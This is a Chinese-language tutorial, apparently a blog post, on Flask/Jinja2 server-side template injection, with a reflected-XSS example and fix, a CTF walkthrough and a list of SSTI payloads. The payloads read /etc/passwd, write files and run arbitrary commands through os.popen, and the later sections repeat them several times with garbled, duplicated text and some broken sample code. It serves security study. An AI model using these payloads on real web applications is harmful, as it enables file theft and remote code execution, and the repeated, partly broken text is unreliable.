参考链接
从零学习flask模板注入 - FreeBuf网络安全行业门户
关于python魔术方法payload:““.__class__.__mro__[2].__subclasses__()[40](“/etc/passwd“).read() 的解释_沐一 · 林的博客-CSDN博客
目录
参考链接
flask基础
1.route :
2.渲染方法
3.模板的使用
模板注入
1.xss注入
不正确的代码如下:
修改
2.SSTI文件读取/命令执行
文件读取
命令执行
例题
1.首先确定有没有存在template 注入
2.探查可以用的方法
1.找以下 ,为文件读取做准备
2.继续找,为命令执行做准备
3.获取flag
flask基础
先看一段python代码
from flask import flask
@app.route('/index/')
def hello_world():
return 'hello world'
1.route :
route是装饰器,作用是将函数和url绑定在一起
样例中的代码就是当访问 127.0.0.1/index/时,flask回返回 hello world
2.渲染方法
flask的渲染方法有两种
1.render_template
render_template()用于渲染一个指定的文件,如
return render_template('index.html')
2.render_template_string
render_template_string 用于渲染字符串,如
html = ' This is index page ' return render_template_string(html)
3.模板的使用
flask是使用jinja2做渲染引擎。
使用:在网站根目录下新建templates文件夹,用来存放html文件.也就是模板文件
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html')
/templata/index.html
{{content}}
这个页面仍然输出 This is index page
{{}}在Jinja2 中作为变量包裹标识符
模板注入
原因:不正确的使用 flask中的render_template_string方法会引发 SSTI。
1.xss注入
不正确的代码如下:
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
%s
'''%(code)
return render_template_string(html)
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
%s
'''%(code)
return render_template_string(html)
不正确的原因: code是用户可控的,用户通过 ?id= 即可对code进行控制,进而影响到
%s 导致 注入
当code为 时,
执行的代码就变为
导致反射型 xss的发生
修改
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('{{ code }}',code=code)
先将code转化为字符串,这样子就不会出现以上问题
如,原句被输出而不是当成JavaScript语言执行
2.SSTI文件读取/命令执行
基础知识
在Jinja2模板引擎中,{{}} 是变量包裹标识符,{{}}不仅仅可以传递变量,还可以执行一些简单的表达式,如
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
%s
'''%(code)
return render_template_string(html)
这个代码中,当用户通过输入 ?id={{2*4}} 时,会出现以下内容
文件读取
利用 40模板
#1.获取字符串的类对象
{{''.__class__}}
#2.寻找基类
{{''.__class__.__mro__}}
#3.寻找可引用类
{{''.__class__.__mro__[2].__subclasses__()}}
#能引用的类
#{{''.__class__.__mro__[2].__subclasses__()[40]}} ->
#利用方式
{{''.__class__.__mro__[2].__subclasses__()[40]}('/etc/passwd').read()}
命令执行
利用的模板为 71
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
listdir 是os中的函数,接路径
参考链接:
例题
攻防世界中的Web_python_template_injection
链接:题目 (xctf.org.cn)
思路:找到父类
解法:
1.首先确定有没有存在template 注入
显然,命令被执行了payload为 {{2*4}}
2.探查可以用的方法
payload如下:
{{''.__class__.__mro__[2].__subclasses__()}}
1.找以下 ,为文件读取做准备
如图, 是可以用的,下标为40
补充:序列号就是函数的位置,从第一个开始数,第一个为0
2.继续找,为命令执行做准备
也存在,序列号为 71
3.获取flag
先找到flag位置
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
读取fl4g文件
{{''.__class__.__mro__[2].__subclasses__()[40]('./fl4g').read()}}
补充
payload收集
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:1.php').read()
object.__subclasses__()[40](r'C:1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
几个魔法函数
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
如图,
补充:序列号就是函数的位置,从第一个开始数,第一个为0
2.继续找,为命令执行做准备
也存在,序列号为 71
3.获取flag
先找到flag位置
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
读取fl4g文件
{{''.__class__.__mro__[2].__subclasses__()[40]('./fl4g').read()}}
补充
payload收集
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:1.php').read()
object.__subclasses__()[40](r'C:1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
几个魔法函数
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
3.获取flag
先找到flag位置
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
读取fl4g文件
{{''.__class__.__mro__[2].__subclasses__()[40]('./fl4g').read()}}
补充
payload收集
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:1.php').read()
object.__subclasses__()[40](r'C:1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
几个魔法函数
__class__ 返回类型所属的对象 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用



